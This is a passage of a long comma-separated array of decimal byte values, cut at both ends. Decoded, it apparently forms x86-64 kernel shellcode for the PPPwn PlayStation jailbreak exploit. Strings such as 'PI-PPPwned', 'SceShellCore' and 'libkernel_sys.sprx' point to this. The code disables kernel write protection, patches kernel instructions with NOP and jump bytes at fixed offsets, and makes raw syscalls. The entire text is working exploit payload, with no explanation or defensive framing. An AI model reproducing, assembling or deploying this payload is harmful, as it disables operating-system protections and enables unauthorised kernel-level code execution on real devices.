,192,116,7,255,205,117,213,69,49,228,90,76,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,65,84,85,83,72,129,236,88,12,0,0,15,50,72,193,226,32,137,192,72,9,194,72,137,214,15,50,72,193,226,32,137,192,72,9,194,72,141,134,160,84,18,1,72,137,5,124,50,0,0,76,141,162,64,254,255,255,15,32,193,72,137,200,72,37,255,255,254,255,15,34,192,198,134,2,3,0,0,235,72,141,29,221,253,255,255,102,199,134,211,240,2,0,144,144,198,134,213,240,2,0,144,102,199,134,222,239,2,0,144,144,198,134,224,239,2,0,144,102,199,134,127,245,2,0,144,144,198,134,129,245,2,0,144,72,139,5,33,50,0,0,199,134,208,2,0,0,0,0,0,0,102,199,134,245,2,0,0,144,144,102,199,134,249,2,0,0,144,144,102,199,134,199,240,2,0,144,144,102,199,134,210,239,2,0,144,144,102,199,134,115,245,2,0,144,144,102,199,134,176,245,2,0,144,144,102,65,199,132,36,74,31,12,0,144,144,65,198,132,36,190,113,17,0,7,65,198,132,36,196,113,17,0,7,72,137,152,24,2,0,0,72,141,29,70,253,255,255,102,199,68,36,5,144,144,198,68,36,7,144,199,128,16,2,0,0,2,0,0,0,199,128,60,2,0,0,1,0,0,0,199,128,176,1,0,0,2,0,0,0,72,137,152,184,1,0,0,199,128,220,1,0,0,1,0,0,0,15,34,193,49,192,72,141,124,36,32,185,12,3,0,0,243,171,72,141,68,36,77,72,141,53,61,9,0,0,185,11,0,0,0,72,137,199,199,68,36,48,255,255,255,255,76,141,138,144,248,37,0,72,141,154,240,248,37,0,243,164,72,141,53,33,9,0,0,76,137,231,198,68,36,76,1,101,72,139,44,37,0,0,0,0,232,177,253,255,255,72,133,192,15,132,50,1,0,0,76,139,184,104,1,0,0,73,137,197,76,137,255,65,255,209,190,0,0,8,0,76,137,255,232,197,253,255,255,76,137,255,73,137,198,255,211,76,99,5,44,9,0,0,76,137,241,76,137,234,80,76,141,13,62,9,0,0,76,137,230,72,137,239,106,0,232,231,2,0,0,90,89,133,192,15,133,225,0,0,0,76,137,241,76,137,234,76,137,230,72,137,239,232,6,4,0,0,133,192,15,133,200,0,0,0,76,141,37,158,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,165,252,255,255,137,195,133,192,117,73,186,5,0,0,0,76,137,230,72,137,239,232,143,252,255,255,137,195,133,192,117,51,76,141,37,126,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,114,252,255,255,137,195,133,192,117,22,186,5,0,0,0,76,137,230,72,137,239,232,92,252,255,255,137,195,133,192,116,98,72,139,5,65,48,0,0,72,141,84,36,32,76,141,100,36,8,72,137,239,76,137,230,72,139,128,200,0,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,72,137,84,36,16,72,199,68,36,24,48,12,0,0,255,208,72,139,5,4,48,0,0,76,137,230,72,137,239,72,139,128,40,1,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,255,208,72,129,196,88,12,0,0,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,76,141,190,224,251,37,0,65,86,65,85,73,137,205,185,130,0,0,192,65,84,77,137,196,85,83,72,137,243,72,131,236,40,76,139,178,104,1,0,0,72,199,68,36,24,0,0,0,0,15,50,72,141,134,144,251,37,0,76,137,247,255,208,73,99,174,0,1,0,0,133,237,117,7,49,219,233,164,0,0,0,49,246,72,141,84,36,24,72,141,131,144,1,38,0,76,137,247,255,208,133,192,137,68,36,12,117,222,72,99,253,72,141,179,80,174,167,1,186,2,0,0,0,72,129,195,64,24,48,0,72,107,255,58,255,211,72,137,195,72,133,192,116,186,139,76,36,12,57,233,125,93,72,139,84,36,24,72,131,192,58,72,139,114,32,72,137,112,230,72,139,114,40,72,137,112,238,72,139,114,80,72,137,112,246,139,122,92,137,254,102,193,238,8,33,254,102,137,112,254,15,16,130,141,0,0,0,15,17,64,198,15,16,138,157,0,0,0,72,139,84,36,24,15,17,72,214,72,139,82,8,72,137,84,36,24,72,133,210,116,4,255,193,235,159,76,137,247,65,255,215,77,133,237,116,4,73,137,93,0,77,133,228,116,4,73,137,44,36,72,131,196,40,49,192,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,250,73,137,203,72,137,215,83,185,130,0,0,192,72,131,236,72,72,139,108,36,96,15,50,73,129,248,255,255,63,0,119,125,72,133,255,116,120,76,137,195,77,133,192,117,17,49,192,72,133,237,116,110,72,199,69,0,0,0,0,0,235,100,72,137,224,76,137,68,36,8,72,137,68,36,16,49,192,131,124,36,104,0,15,149,192,76,137,68,36,40,76,141,68,36,16,137,68,36,52,72,141,134,128,62,4,0,76,137,198,76,137,12,36,199,68,36,24,1,0,0,0,76,137,92,36,32,199,68,36,48,1,0,0,0,76,137,84,36,56,255,208,72,133,237,116,16,72,43,92,36,40,72,137,93,0,235,5,184,1,0,0,0,72,131,196,72,91,93,195,243,15,30,250,80,106,0,255,116,36,24,232,63,255,255,255,72,131,196,24,195,243,15,30,250,80,106,1,255,116,36,24,232,42,255,255,255,72,131,196,24,195,243,15,30,250,65,87,65,86,65,85,65,84,85,72,137,205,185,130,0,0,192,83,72,137,243,72,137,214,72,131,236,40,72,199,68,36,24,0,0,0,0,15,50,72,141,131,192,44,38,0,65,188,1,0,0,0,72,137,68,36,8,72,133,237,116,125,76,139,190,104,1,0,0,77,137,198,76,141,131,80,250,37,0,76,141,171,176,250,37,0,76,137,255,65,255,208,72,139,68,36,8,72,141,76,36,24,76,137,242,49,246,76,137,255,255,208,65,137,196,133,192,116,8,76,137,255,65,255,213,235,60,72,139,76,36,24,49,210,106,0,65,185,7,0,0,0,106,7,49,246,76,137,255,72,129,195,96,13,38,0,78,141,4,49,255,211,76,137,255,65,137,196,65,255,213,88,90,69,133,228,117,9,72,139,68,36,24,72,137,69,0,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,73,137,204,85,76,137,197,83,72,137,243,80,76,139,170,104,1,0,0,72,141,134,80,250,37,0,76,137,239,255,208,73,141,20,44,76,137,230,76,137,239,72,141,131,208,11,38,0,72,129,195,176,250,37,0,255,208,76,137,239,65,137,196,255,211,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,65,87,65,86,73,137,254,65,85,73,137,213,65,84,85,72,137,245,83,72,129,236,136,0,0,0,72,137,76,36,40,185,130,0,0,192,72,199,68,36,56,0,0,0,0,72,199,68,36,64,0,0,0,0,72,199,68,36,72,0,0,0,0,72,199,68,36,80,0,0,0,0,72,199,68,36,88,0,0,0,0,15,50,65,184,0,64,0,0,72,141,76,36,56,76,137,234,232,113,254,255,255,65,137,196,133,192,15,133,168,2,0,0,72,141,76,36,64,76,137,234,72,137,238,76,137,247,65,184,0,0,8,0,232,77,254,255,255,65,137,196,133,192,15,133,132,2,0,0,72,139,92,36,56,86,76,137,247,76,137,234,65,184,255,0,0,0,76,141,13,222,2,0,0,72,137,238,72,137,217,76,141,124,36,96,65,87,232,2,254,255,255,95,65,88,65,137,196,133,192,15,133,75,2,0,0,73,139,69,16,72,141,76,36,72,76,137,234,72,137,238,76,141,68,36,80,76,137,247,72,137,68,36,16,232,233,251,255,255,65,137,196,133,192,15,133,31,2,0,0,72,139,68,36,80,72,139,76,36,72,72,199,68,36,96,0,0,0,0,69,49,192,72,199,68,36,104,0,0,0,0,72,141,53,169,3,0,0,72,199,68,36,112,0,0,0,0,72,199,68,36,120,0,0,0,0,72,137,68,36,8,76,57,68,36,8,15,132,215,1,0,0,102,131,121,56,5,117,115,72,137,207,186,18,0,0,0,76,137,68,36,32,72,137,76,36,24,232,188,247,255,255,72,139,76,36,24,76,139,68,36,32,72,141,53,88,3,0,0,133,192,117,71,72,139,65,32,72,141,136,0,86,1,0,72,141,144,208,84,1,0,72,137,76,36,104,72,141,136,48,1,3,0,72,5,48,216,8,0,72,137,68,36,120,72,139,68,36,64,72,137,84,36,96,72,137,76,36,112,72,137,68,36,8,72,133,210,117,17,233,93,1,0,0,73,255,192,72,131,193,58,233,111,255,255,255,80,72,141,75,13,76,137,234,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,76,36,56,232,218,252,255,255,90,89,133,192,15,133,36,1,0,0,65,81,72,141,75,21,65,184,8,0,0,0,76,137,234,65,87,72,137,238,76,137,247,76,141,76,36,112,232,175,252,255,255,65,90,65,91,133,192,15,133,247,0,0,0,86,65,184,8,0,0,0,76,137,247,72,141,75,29,65,87,76,137,234,72,137,238,76,141,76,36,120,232,131,252,255,255,95,65,88,133,192,15,133,204,0,0,0,65,82,76,137,234,72,141,75,37,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,140,36,128,0,0,0,232,84,252,255,255,65,91,90,133,192,15,133,157,0,0,0,87,65,184,8,0,0,0,72,141,75,45,76,137,234,65,87,72,137,238,76,137,247,76,141,140,36,136,0,0,0,232,38,252,255,255,65,88,65,89,133,192,117,114,86,72,141,83,77,72,141,133,224,66,8,0,49,201,106,0,65,185,0,0,8,0,49,246,106,0,106,0,106,0,106,0,76,139,68,36,56,72,139,124,36,64,255,208,72,131,196,48,133,192,117,62,198,68,36,55,0,76,141,76,36,55,80,72,141,75,12,76,137,234,65,184,1,0,0,0,65,87,72,137,238,76,137,247,76,137,76,36,24,232,171,251,255,255,90,89,133,192,117,14,128,124,36,55,0,76,139,76,36,8,116,206,235,3,65,137,196,72,139,124,36,72,72,133,255,116,16,72,141,181,80,174,167,1,72,141,133,64,26,48,0,255,208,72,139,76,36,56,72,133,201,116,20,65,184,0,64,0,0,76,137,234,72,137,238,76,137,247,232,87,252,255,255,72,139,76,36,64,72,133,201,116,20,65,184,0,0,8,0,76,137,234,72,137,238,76,137,247,232,57,252,255,255,72,129,196,136,0,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,0,0,0,0,0,0,0,0,82,76,68,82,77,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,114,112,99,115,116,117,98,0,72,139,61,217,255,255,255,72,139,55,72,139,190,224,1,0,0,232,122,0,0,0,72,141,61,211,255,255,255,76,139,37,164,255,255,255,65,255,212,190,0,0,8,0,72,141,61,189,255,255,255,76,139,37,150,255,255,255,65,255,212,76,141,5,180,255,255,255,185,0,0,0,0,72,139,21,112,255,255,255,72,141,53,153,255,255,255,72,141,61,138,255,255,255,76,139,37,115,255,255,255,65,255,212,198,5,80,255,255,255,1,191,0,0,0,0,232,1,0,0,0,195,184,175,1,0,0,73,137,202,15,5,195,184,165,0,0,0,73,137,202,15,5,195,85,72,137,229,83,72,131,236,24,72,137,125,232,72,141,117,232,191,129,0,0,0,232,218,255,255,255,72,131,196,24,91,93,195,80,73,45,80,80,80,119,110,101,100,0,83,99,101,83,104,101,108,108,67,111,114,101,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,48,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,49,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,160,39,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,233,250,2,0,0,72,49,192,73,137,202,15,5,114,1,195,72,131,61,176,39,0,0,0,116,24,80,255,21,167,39,0,0,89,137,8,72,199,192,255,255,255,255,72,199,194,255,255,255,255,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,15,50,65,84,72,193,226,32,85,83,72,131,236,24,72,9,208,72,139,86,8,76,141,128,168,80,44,2,76,137,68,36,8,76,139,34,76,139,106,8,77,133,228,15,132,63,2,0,0,73,131,253,7,15,134,53,2,0,0,72,141,152,64,254,255,255,76,141,184,224,22,62,0,72,141,168,184,157,208,0,72,184,88,68,65,79,76,89,65,80,73,57,4,36,15,133,12,2,0,0,65,15,32,198,76,137,240,72,37,255,255,254,255,15,34,192,199,131,160,234,166,1,0,0,0,0,49,246,102,199,131,123,84,9,0,235,76,72,137,239,102,199,131,32,44,47,0,49,192,186,0,64,0,0,198,131,34,44,47,0,195,198,131,54,35,29,0,55,198,131,57,35,29,0,55,199,131,112,123,8,0,184,0,0,0,198,131,116,123,8,0,0,198,131,190,113,17,0,7,198,131,196,113,17,0,7,102,199,131,135,242,2,0,144,144,102,199,131,147,242,2,0,144,144,198,131,149,242,2,0,144,102,199,131,146,241,2,0,144,144,102,199,131,158,241,2,0,144,144,198,131,160,241,2,0,144,102,199,131,51,247,2,0,144,144,102,199,131,63,247,2,0,144,144,198,131,65,247,2,0,144,102,199,131,112,247,2,0,144,144,198,131,77,240,2,0,235,199,131,237,72,4,0,144,144,144,144,102,199,131,241,72,4,0,144,144,199,131,175,77,4,0,233,124,2,0,198,131,179,77,4,0,0,199,131,236,168,8,0,72,49,192,144,198,131,240,168,8,0,144,199,131,86,247,43,0,144,144,144,144,102,199,131,90,247,43,0,144,144,199,131,91,176,54,0,144,144,144,144,102,199,131,95,176,54,0,144,144,102,199,131,128,232,107,0,49,192,198,131,130,232,107,0,195,102,199,131,112,130,102,0,176,1,198,131,114,130,102,0,195,102,199,131,160,130,102,0,176,1,198,131,162,130,102,0,195,102,199,131,23,200,11,0,235,59,199,131,103,3,47,0,144,144,144,144,102,199,131,107,3,47,0,144,144,199,131,106,99,41,0,144,144,144,144,102,199,131,110,99,41,0,144,144,102,199,131,82,245,2,0,144,144,102,199,131,97,245,2,0,144,144,199,131,250,22,80,0,0,0,0,0,199,131,108,41,80,0,0,0,0,0,255,21,103,37,0,0,76,137,234,76,137,230,72,137,239,255,21,80,37,0,0,198,131,231,24,62,0,235,72,139,124,36,8,74,141,148,45,255,63,0,0,72,137,238,72,129,226,0,192,255,255,72,129,230,0,192,255,255,185,7,0,0,0,65,255,215,198,131,231,24,62,0,117,65,15,34,198,73,139,84,36,8,72,131,196,24,91,49,192,72,1,234,93,65,92,65,93,65,94,65,95,255,226,72,131,196,24,131,200,255,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,72,137,250,72,129,236,0,2,0,0,72,141,53,130,34,0,0,72,137,229,49,192,72,137,239,255,21,192,36,0,0,72,137,238,191,222,0,0,0,255,21,170,36,0,0,72,129,196,0,2,0,0,93,195,243,15,30,250,65,85,65,84,85,72,131,236,16,232,238,0,0,0,232,107,1,0,0,72,141,5,251,1,0,0,72,137,4,36,139,5,49,34,0,0,72,137,68,36,8,49,192,255,21,148,36,0,0,72,137,230,72,141,61,245,252,255,255,199,0,0,0,0,0,232,116,0,0,0,133,192,65,137,196,116,11,49,192,255,21,112,36,0,0,68,139,32,76,141,45,253,33,0,0,76,137,239,72,141,45,9,34,0,0,232,64,0,0,0,72,137,239,232,56,0,0,0,76,137,239,190,255,1,0,0,232,67,0,0,0,72,137,239,190,255,1,0,0,232,54,0,0,0,232,73,1,0,0,72,141,61,245,33,0,0,232,32,255,255,255,72,131,196,16,68,137,224,93,65,92,65,93,195,72,199,192,10,0,0,0,233,75,252,255,255,72,199,192,11,0,0,0,233,63,252,255,255,72,199,192,136,0,0,0,233,51,252,255,255,72,199,192,79,2,0,0,233,39,252,255,255,243,15,30,250,72,137,241,49,210,72,137,254,69,49,192,80,191,82,2,0,0,49,192,232,8,252,255,255,90,195,243,15,30,250,85,72,141,61,162,33,0,0,72,131,236,16,72,199,5,174,35,0,0,0,0,0,0,72,141,108,36,12,72,137,238,232,186,255,255,255,133,192,116,34,72,137,238,72,141,61,135,33,0,0,232,167,255,255,255,133,192,116,15,72,137,238,72,141,61,135,33,0,0,232,148,255,255,255,139,124,36,12,72,141,21,112,35,0,0,72,141,53,131,33,0,0,232,113,255,255,255,139,124,36,12,72,141,21,81,35,0,0,72,141,53,116,33,0,0,232,90,255,255,255,72,131,196,16,93,195,243,15,30,250,85,69,49,201,69,49,192,49,201,49,210,49,246,72,141,61,106,33,0,0,255,21,33,35,0,0,72,141,21,18,35,0,0,72,141,53,110,33,0,0,137,197,137,199,232,31,255,255,255,137,239,72,141,21,241,34,0,0,72,141,53,92,33,0,0,232,10,255,255,255,137,239,93,72,141,21,211,34,0,0,72,141,53,77,33,0,0,233,244,254,255,255,243,15,30,250,49,201,49,210,49,246,72,141,61,63,33,0,0,69,49,201,80,69,49,192,255,21,193,34,0,0,89,72,141,21,153,34,0,0,137,199,72,141,53,71,33,0,0,233,192,254,255,255,0,0,0,88,68,65,79,76,89,65,80,245,18,0,0,0,0,0,0,243,15,30,250,131,63,8,117,74,139,71,24,137,193,193,233,24,117,64,137,194,129,226,0,0,12,0,129,250,0,0,12,0,117,48,129,127,56,55,19,0,0,117,39,37,255,255,251,255,72,141,13,103,27,0,0,137,71,24,49,192,72,137,194,72,247,218,138,20,10,136,84,7,56,72,255,192,72,131,248,16,117,234,255,37,47,32,0,0,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,252,73,137,245,137,211,72,137,205,101,76,139,52,37,0,0,0,0,76,141,124,36,12,186,20,0,0,0,76,137,255,49,246,255,21,192,32,0,0,137,92,36,12,72,141,124,36,16,76,137,238,186,16,0,0,0,255,21,177,32,0,0,72,139,53,58,32,0,0,76,137,247,49,210,255,21,175,32,0,0,76,137,225,76,137,254,72,137,239,65,184,32,0,0,0,186,20,0,0,0,255,21,205,31,0,0,72,139,53,14,32,0,0,76,137,247,255,21,125,32,0,0,72,131,196,40,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,129,236,192,1,0,0,73,137,253,139,132,36,24,2,0,0,72,137,243,68,139,180,36,16,2,0,0,72,137,213,80,65,86,139,132,36,24,2,0,0,80,255,180,36,24,2,0,0,255,180,36,24,2,0,0,255,21,66,31,0,0,72,131,196,48,133,192,65,137,196,15,132,223,2,0,0,69,133,246,15,133,214,2,0,0,76,141,76,36,32,49,246,76,137,207,76,137,76,36,8,186,16,0,0,0,76,141,124,36,48,255,21,219,31,0,0,76,141,116,36,80,72,137,108,36,32,72,199,68,36,40,0,1,0,0,49,246,76,137,255,186,16,0,0,0,255,21,184,31,0,0,76,141,84,36,112,76,137,116,36,48,72,199,68,36,56,32,0,0,0,186,72,0,0,0,76,137,20,36,49,246,76,137,215,255,21,145,31,0,0,72,141,5,234,27,0,0,72,137,132,36,144,0,0,0,72,141,5,91,27,0,0,72,137,132,36,152,0,0,0,72,141,5,204,26,0,0,72,137,132,36,160,0,0,0,72,141,5,61,26,0,0,72,137,132,36,168,0,0,0,72,141,5,174,25,0,0,72,137,132,36,176,0,0,0,101,72,139,44,37,0,0,0,0,72,139,53,206,30,0,0,49,210,72,137,239,255,21,67,31,0,0,72,139,20,36,76,137,255,72,139,116,36,8,255,21,113,30,0,0,72,139,53,170,30,0,0,72,137,239,65,137,199,255,21,22,31,0,0,69,133,255,15,133,217,1,0,0,72,139,61,182,30,0,0,49,201,49,210,49,246,76,141,124,36,64,255,21,37,31,0,0,72,141,132,36,184,0,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,8,255,21,200,30,0,0,72,139,132,36,240,1,0,0,76,141,148,36,188,0,0,0,76,137,209,186,1,0,0,0,76,137,247,76,137,84,36,16,72,5,112,3,0,0,199,132,36,184,0,0,0,55,19,32,0,72,137,198,72,137,4,36,232,148,253,255,255,72,139,53,28,30,0,0,49,210,72,137,239,255,21,145,30,0,0,49,246,186,16,0,0,0,76,137,255,255,21,105,30,0,0,76,139,84,36,16,186,32,0,0,0,77,137,249,65,184,128,0,0,0,72,141,13,143,24,0,0,76,137,214,76,137,215,255,21,139,29,0,0,72,139,53,212,29,0,0,72,137,239,137,68,36,16,255,21,63,30,0,0,139,84,36,16,133,210,15,133,224,0,0,0,72,141,132,36,52,1,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,16,255,21,6,30,0,0,72,139,52,36,76,141,148,36,56,1,0,0,76,137,209,76,137,247,186,2,0,0,0,76,137,84,36,24,199,132,36,52,1,0,0,55,19,32,0,232,227,252,255,255,72,139,53,107,29,0,0,49,210,72,137,239,255,21,224,29,0,0,49,246,186,16,0,0,0,76,137,255,255,21,184,29,0,0,76,139,84,36,24,77,137,249,65,184,128,0,0,0,72,141,13,227,23,0,0,186,32,0,0,0,76,137,214,76,137,215,255,21,218,28,0,0,72,139,53,35,29,0,0,72,137,239,65,137,198,255,21,143,29,0,0,69,133,246,117,55,72,139,124,36,8,76,137,238,255,21,140,28,0,0,133,192,116,6,65,139,125,0,235,20,72,139,124,36,16,72,137,222,255,21,116,28,0,0,133,192,116,28,139,59,131,255,255,116,6,255,21,91,28,0,0,72,139,61,252,28,0,0,255,21,110,29,0,0,235,16,72,139,61,237,28,0,0,69,49,228,255,21,92,29,0,0,72,129,196,184,1,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,49,192,72,133,255,116,21,72,139,5,201,28,0,0,72,139,0,72,133,192,116,6,72,57,120,32,117,242,195,243,15,30,250,65,84,85,83,255,21,36,29,0,0,65,137,196,72,139,5,146,28,0,0,72,139,40,72,133,237,116,127,139,69,8,131,248,255,116,55,72,139,21,115,28,0,0,72,139,26,72,133,219,116,40,59,3,118,9,72,139,155,144,0,0,0,235,238,115,9,72,139,155,136,0,0,0,235,227,117,225,131,123,4,0,116,8,102,129,123,8,55,19,116,6,72,139,109,16,235,182,102,131,123,10,32,117,243,72,139,61,39,28,0,0,72,141,115,12,186,32,0,0,0,255,21,120,28,0,0,72,139,5,9,28,0,0,15,183,83,8,15,183,115,10,139,77,0,72,139,56,255,21,125,27,0,0,235,192,91,68,137,224,93,65,92,195,65,84,85,72,131,236,24,72,137,124,36,8,101,72,139,44,37,0,0,0,0,72,139,53,199,27,0,0,49,210,72,137,239,255,21,60,28,0,0,76,139,76,36,8,65,184,128,0,0,0,72,141,13,98,22,0,0,186,144,0,0,0,65,188,37,10,15,128,73,141,121,16,72,137,254,255,21,58,27,0,0,133,192,117,3,65,137,196,72,139,53,132,27,0,0,72,137,239,255,21,243,27,0,0,72,131,196,24,68,137,224,93,65,92,195,243,15,30,250,65,85,65,84,85,72,137,253,83,81,72,139,127,8,49,219,232,176,254,255,255,72,133,192,116,4,72,139,88,16,72,137,239,255,21,189,26,0,0,133,192,65,137,196,117,6,131,125,4,0,116,78,72,133,219,116,73,102,131,123,80,2,117,66,76,141,171,96,2,0,0,76,137,239,232,58,255,255,255,133,192,117,47,186,160,0,0,0,76,137,238,72,137,223,69,49,228,255,21,117,27,0,0,72,141,187,160,0,0,0,186,96,3,0,0,49,246,255,21,89,27,0,0,199,69,4,0,0,0,0,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,85,83,72,137,251,81,72,139,127,8,49,237,232,35,254,255,255,72,133,192,116,4,72,139,104,16,72,137,223,255,21,48,26,0,0,133,192,117,6,131,123,4,0,116,28,72,133,237,116,23,129,125,0,0,2,0,0,117,14,72,141,125,36,232,180,254,255,255,137,67,4,49,192,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,21,131,255,255,255,72,141,136,64,254,255,255,129,234,85,138,102,0,41,202,137,144,145,136,102,0,72,141,21,214,254,255,255,129,234,99,152,102,0,41,202,137,144,159,150,102,0,72,141,21,73,249,255,255,129,234,218,226,99,0,41,202,137,144,22,225,99,0,72,141,21,146,253,255,255,129,234,162,152,100,0,41,202,137,144,222,150,100,0,72,141,21,17,250,255,255,68,141,130,176,172,148,255,129,234,129,85,107,0,65,41,200,41,202,68,137,128,140,81,107,0,137,144,189,83,107,0,87,157,15,34,198,195,72,133,255,116,49,131,63,2,117,44,72,131,236,24,72,141,116,36,8,255,21,161,25,0,0,133,192,116,4,49,192,235,16,72,139,68,36,8,72,131,120,8,1,15,148,192,15,182,192,72,131,196,24,195,49,192,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,40,72,137,253,72,141,124,36,24,255,21,89,25,0,0,131,125,0,1,15,133,178,0,0,0,139,69,0,186,2,0,0,0,72,139,29,176,25,0,0,65,188,12,0,0,0,72,139,53,171,25,0,0,137,68,36,8,139,69,8,68,15,183,123,12,137,68,36,12,15,183,67,14,65,1,199,77,99,239,76,137,239,255,21,216,25,0,0,72,133,192,73,137,198,15,132,131,0,0,0,72,139,117,56,76,137,234,72,137,199,255,21,148,25,0,0,72,139,125,56,76,137,234,72,137,222,255,21,132,25,0,0,199,69,0,2,0,0,0,72,137,239,68,137,125,8,255,21,200,24,0,0,72,139,125,56,76,137,246,65,137,196,76,137,234,255,21,93,25,0,0,139,68,36,8,76,137,247,72,139,53,39,25,0,0,137,69,0,139,68,36,12,137,69,8,255,21,95,25,0,0,235,28,72,137,239,232,227,254,255,255,133,192,15,133,62,255,255,255,72,137,239,255,21,124,24,0,0,65,137,196,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,133,255,116,61,65,84,83,72,131,236,24,76,141,37,208,21,0,0,72,137,124,36,8,76,137,230,255,21,2,25,0,0,72,139,124,36,8,72,133,192,72,137,195,116,13,76,137,231,255,21,196,24,0,0,72,141,60,3,72,131,196,24,91,65,92,255,37,67,24,0,0,243,15,30,250,85,72,137,229,65,85,72,131,236,24,72,139,69,0,73,137,253,72,139,120,248,72,133,255,116,25,72,137,85,224,72,137,117,232,232,70,254,255,255,72,139,117,232,133,192,72,139,85,224,117,16,72,131,196,24,76,137,239,65,93,93,255,37,244,23,0,0,199,66,4,0,0,0,0,72,131,196,24,65,93,49,192,93,195,243,15,30,250,65,85,65,84,85,73,137,205,72,129,236,160,0,0,0,131,63,1,72,137,253,117,12,72,133,246,116,68,77,133,237,117,51,235,61,72,137,52,36,137,84,36,12,232,229,253,255,255,72,139,52,36,133,192,117,223,139,84,36,12,72,129,196,160,0,0,0,76,137,233,72,137,239,93,65,92,65,93,255,37,131,23,0,0,72,137,239,232,185,253,255,255,133,192,117,11,65,188,22,0,0,0,233,29,1,0,0,72,141,116,36,16,72,137,239,255,21,86,23,0,0,133,192,65,137,196,15,133,4,1,0,0,139,69,0,131,248,1,117,15,72,139,69,56,72,133,192,15,132,209,0,0,0,235,102,131,248,2,15,133,206,0,0,0,72,139,69,56,15,183,112,12,15,183,80,24,72,141,78,224,72,193,226,5,72,41,209,72,131,249,63,15,134,181,0,0,0,128,225,15,15,133,172,0,0,0,15,183,72,14,72,141,180,14,0,255,255,255,72,1,198,72,141,68,16,32,72,129,62,136,0,0,0,117,22,72,131,198,8,72,141,124,36,24,186,136,0,0,0,255,21,104,23,0,0,235,84,139,64,16,102,61,24,254,116,39,119,118,137,194,131,226,239,102,129,250,0,254,116,6,102,131,248,2,117,100,72,141,124,36,24,186,136,0,0,0,72,141,53,208,20,0,0,235,17,72,141,124,36,24,186,136,0,0,0,72,141,53,29,20,0,0,255,21,31,23,0,0,72,139,68,36,16,72,139,0,72,137,68,36,24,72,141,116,36,24,186,136,0,0,0,76,137,239,255,21,255,22,0,0,235,30,65,188,3,0,0,0,235,22,65,188,221,255,255,255,235,14,65,188,219,255,255,255,235,6,65,188,45,0,0,0,72,129,196,160,0,0,0,68,137,224,93,65,92,65,93,195,72,133,255,72,139,21,133,22,0,0,72,137,248,116,23,72,139,18,72,133,210,116,12,72,59,66,32,117,242,72,139,66,16,235,3,49,192,195,195,243,15,30,250,85,72,137,229,65,87,65,86,65,85,65,84,83,72,131,236,40,72,139,69,0,73,137,253,76,139,70,8,76,139,126,80,73,137,244,76,139,118,88,72,139,120,248,139,70,72,139,94,68,72,133,255,137,69,204,116,73,131,63,1,117,43,76,137,199,69,49,192,232,140,255,255,255,76,137,255,73,137,197,232,129,255,255,255,77,133,246,73,137,193,116,64,76,137,247,232,113,255,255,255,73,137,192,235,51,72,137,85,184,76,137,69,192,232,220,251,255,255,76,139,69,192,133,192,72,139,85,184,117,188,72,131,196,40,76,137,230,91,76,137,239,65,92,65,93,65,94,65,95,93,255,37,128,21,0,0,77,133,237,76,137,69,192,116,96,77,133,201,116,91,137,222,72,139,13,241,21,0,0,76,1,206,77,133,246,15,149,194,77,57,247,15,149,192,132,194,116,55,133,219,116,51,65,190,0,64,0,0,76,137,239,65,41,222,76,137,242,255,209,76,139,69,192,77,133,192,116,33,139,69,204,75,141,60,46,76,137,198,141,148,3,0,192,255,255,255,21,169,21,0,0,235,8,139,85,204,76,137,239,255,209,65,199,68,36,4,0,0,0,0,72,131,196,40,91,49,192,65,92,65,93,65,94,65,95,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,13,238,252,255,255,72,141,144,64,254,255,255,129,233,212,234,101,0,41,209,137,136,16,233,101,0,72,141,13,36,251,255,255,68,141,129,165,13,154,255,129,233,253,254,101,0,41,209,65,41,208,137,136,57,253,101,0,72,141,13,91,252,255,255,129,233,18,202,101,0,68,137,128,151,240,101,0,41,209,137,136,78,200,101,0,72,141,13,90,254,255,255,129,233,110,214,101,0,41,209,137,136,170,212,101,0,72,141,13,222,251,255,255,129,233,129,233,101,0,41,209,137,136,189,231,101,0,87,157,15,34,198,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,81,72,139,86,8,73,137,253,184,1,0,0,0,72,133,210,116,106,72,139,5,122,20,0,0,72,137,245,72,131,62,0,72,139,24,117,19,49,192,72,139,27,255,192,72,133,219,117,246,72,152,72,137,2,235,66,68,139,58,69,49,228,69,57,231,126,55,77,107,244,36,72,139,125,0,72,141,179,84,4,0,0,186,32,0,0,0,73,255,196,76,1,247,255,21,104,20